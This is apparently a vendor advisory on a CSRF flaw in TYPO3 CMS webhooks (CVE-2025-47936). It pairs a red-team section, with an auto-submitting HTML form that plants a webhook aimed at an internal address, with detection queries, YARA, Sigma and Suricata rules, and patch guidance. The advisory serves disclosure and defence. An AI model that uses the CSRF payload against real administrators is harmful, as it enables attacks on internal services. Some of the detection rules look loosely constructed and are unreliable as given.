CVE-2025-47936

Executive Summary

CVE-2025-47936 describes a Cross-Site Request Forgery (CSRF) vulnerability in TYPO3 CMS Webhooks functionality. An authenticated administrator-level user can be tricked into sending forged requests to internal network resources (e.g., localhost or other internal services) via a maliciously crafted webhook configuration. While the vulnerability does not directly compromise the TYPO3 instance, it enables an attacker to pivot attacks against internal systems that would otherwise be inaccessible from the internet. The CVSS score is 3.3 (Low), reflecting the high privileges required and limited direct impact on the CMS itself. No public proof-of-concept or exploit code is currently available.

Supply Chain & Package Security

This vulnerability affects the TYPO3 CMS core, which is distributed as a PHP Composer package (typo3/cms). The webhook functionality is part of the core system, not a third-party extension. Administrators should ensure their Composer-managed installations are updated to the patched versions. No malicious packages or compromised dependencies have been identified in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:N/A:N
• Base Score: 3.3 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin-level backend user
• User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited information disclosure from internal services
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Low. Exploitation requires an authenticated administrator to be socially engineered. The impact is limited to blind access to internal resources, with no direct compromise of the TYPO3 instance.

Deep Dive & Mechanics

The vulnerability resides in the TYPO3 Webhooks module, which allows administrators to configure HTTP callbacks triggered by system events. The webhook configuration endpoint does not implement CSRF protection (e.g., a CSRF token). An attacker can craft a malicious HTML page that, when visited by an authenticated TYPO3 administrator, submits a forged request to create or modify a webhook pointing to an internal IP address (e.g., http://127.0.0.1:8080/admin). When the webhook fires, TYPO3 sends an HTTP request to that internal target, potentially allowing the attacker to interact with internal services (e.g., databases, monitoring tools, or other CMS instances) that are not exposed externally.

The attack flow:

1. Attacker identifies a TYPO3 instance with an active admin session.
2. Attacker crafts a CSRF payload that creates a webhook pointing to an internal resource.
3. Victim admin visits the malicious page while authenticated.
4. The webhook is created silently.
5. When the triggering event occurs (e.g., a new user registration), TYPO3 sends an HTTP request to the internal target.
6. The attacker can observe the response or use the request to perform actions on the internal service (e.g., blind SSRF-like behavior).

Vulnerable vs. Patched Code

Vulnerable Code (TYPO3 < 12.4.31 / < 13.4.2): The webhook creation/modification endpoint (/typo3/module/webhooks/WebhookController) does not validate a CSRF token. The form submission is accepted without checking the origin or token.

// Vulnerable: No CSRF token check
public function createAction(ServerRequestInterface $request): ResponseInterface
{
    $webhook = new Webhook();
    $webhook->setUrl($request->getParsedBody()['url']);
    // ... save to database
}

Patched Code (TYPO3 >= 12.4.31 / >= 13.4.2): The patched version adds CSRF token validation using the TYPO3 backend form protection mechanism.

// Patched: CSRF token validation added
public function createAction(ServerRequestInterface $request): ResponseInterface
{
    $this->validateCsrfToken($request); // New check
    $webhook = new Webhook();
    $webhook->setUrl($request->getParsedBody()['url']);
    // ... save to database
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A TYPO3 instance (version 12.x < 12.4.31 or 13.x < 13.4.2) with an admin user.
• Attacker-controlled web server to host the CSRF page.
• Knowledge of an internal target (e.g., http://127.0.0.1:8080).

Exploitation Steps:

1. Craft CSRF Payload: Create an HTML page that automatically submits a form to create a webhook pointing to an internal resource.

<html>
<body>
<form id="csrf" action="http://target-typo3.com/typo3/module/webhooks/Webhook/create" method="POST">
  <input type="hidden" name="url" value="http://127.0.0.1:8080/admin">
  <input type="hidden" name="event" value="user_created">
  <input type="submit" value="Submit">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Host the Payload: Serve the HTML file from an attacker-controlled server.
3. Deliver to Victim: Send the link to the victim admin via email, social engineering, or other means.
4. Trigger Webhook: Wait for the configured event (e.g., a new user registration) or manually trigger it if possible.
5. Observe Impact: Monitor the internal service for incoming requests from the TYPO3 server.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection Steps:

1. Monitor Webhook Creation Logs: Check TYPO3 system logs for unusual webhook creation events, especially those pointing to internal IP addresses (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
2. Review Admin Activity: Audit admin user sessions for unexpected form submissions or page visits.
3. Network Monitoring: Look for outbound HTTP requests from the TYPO3 server to internal IPs that are not part of normal operations.
4. CSRF Token Validation: Ensure the patched version is deployed. If not, manually verify that webhook endpoints require CSRF tokens.

Hunting Query (Splunk):

index=typo3 sourcetype=typo3_log
"webhook" "created"
| regex url="(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})"

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from TYPO3 server to internal IP addresses (e.g., 127.0.0.1, 10.x.x.x, 172.16-31.x.x, 192.168.x.x).
  • Unexpected webhook callback URLs containing private IP ranges.

• Host IOCs:

  • TYPO3 system log entries showing webhook creation with suspicious URLs.
  • Unusual admin user activity during off-hours.

• File IOCs:

  • No specific file-based IOCs; the attack is configuration-based.

Detection Engineering

YARA Rule

rule TYPO3_Webhook_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploitation attempts against TYPO3 webhook endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47936"
    strings:
        $webhook_create = "/typo3/module/webhooks/Webhook/create"
        $internal_ip = /(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
    condition:
        $webhook_create and $internal_ip
}

Sigma Rule

title: TYPO3 Webhook CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to TYPO3 webhook creation endpoint with internal IP addresses
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47936
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/typo3/module/webhooks/Webhook/create'
    filter:
        cs-uri-query|contains: 
            - '127.0.0.1'
            - '10.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '192.168.'
    condition: selection and filter
falsepositives:
    - Legitimate webhook configurations pointing to internal monitoring tools
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"TYPO3 Webhook CSRF Exploit - Internal IP in POST";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/typo3/module/webhooks/Webhook/create"; http_uri;
    pcre:"/(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade TYPO3: Update to version 12.4.31 LTS or 13.4.2 LTS immediately.
2. Restrict Webhook URLs: If upgrade is not possible, implement a whitelist of allowed webhook URLs (no internal IPs).
3. Disable Webhooks: Temporarily disable the webhook functionality if not in use.

Long-term Mitigations:

1. CSRF Protection: Ensure all backend forms include CSRF tokens. TYPO3 provides built-in protection; verify it is enabled.
2. Network Segmentation: Restrict outbound HTTP requests from the TYPO3 server to only necessary external services.
3. Admin Training: Educate administrators about phishing and CSRF risks.
4. Monitor Logs: Regularly audit webhook configurations and admin activity.

Patch Details:

• Upgrade to TYPO3 12.4.31 LTS or 13.4.2 LTS via Composer:

  composer require typo3/cms:^12.4.31
  # or
  composer require typo3/cms:^13.4.2
  

Valters IT
Securing Digital Frontiers